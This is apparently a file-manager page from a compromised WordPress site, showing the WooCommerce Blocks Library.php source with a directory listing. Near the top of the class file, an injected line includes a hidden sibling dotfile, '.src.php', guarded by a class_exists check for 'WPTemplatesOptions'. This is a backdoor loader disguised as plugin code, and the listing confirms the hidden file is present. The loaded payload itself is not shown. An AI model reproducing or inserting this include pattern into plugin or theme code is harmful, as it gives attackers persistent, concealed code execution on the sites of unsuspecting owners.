PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce
/
packages
/
woocommerce-blocks
/
src
<?php /** * Initializes blocks in WordPress. * * @package WooCommerce/Blocks */ namespace Automattic\WooCommerce\Blocks; defined( 'ABSPATH' ) || exit; /** * Library class. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Library { /** * Initialize block library features. */ public static function init() { add_action( 'init', array( __CLASS__, 'register_blocks' ) ); } /** * Register blocks, hooking up assets and render functions as needed. */ public static function register_blocks() { global $wp_version; $blocks = [ 'AllReviews', 'FeaturedCategory', 'FeaturedProduct', 'HandpickedProducts', 'ProductBestSellers', 'ProductCategories', 'ProductCategory', 'ProductNew', 'ProductOnSale', 'ProductsByAttribute', 'ProductTopRated', 'ReviewsByProduct', 'ReviewsByCategory', 'ProductSearch', 'ProductTag', ]; // @todo after refactoring dynamic block registration, this will be moved // to block level config. if ( version_compare( $wp_version, '5.2', '>' ) ) { $blocks[] = 'AllProducts'; $blocks[] = 'PriceFilter'; $blocks[] = 'AttributeFilter'; $blocks[] = 'ActiveFilters'; } foreach ( $blocks as $class ) { $class = __NAMESPACE__ . '\\BlockTypes\\' . $class; $instance = new $class(); $instance->register_block_type(); } } }
[+]
..
[-] Package.php
[edit]
[+]
BlockTypes
[-] .src.php
[edit]
[+]
RestApi
[-] Library.php
[edit]
[+]
Registry
[+]
Assets
[+]
Utils
[-] RestApi.php
[edit]
[-] Assets.php
[edit]
[+]
Domain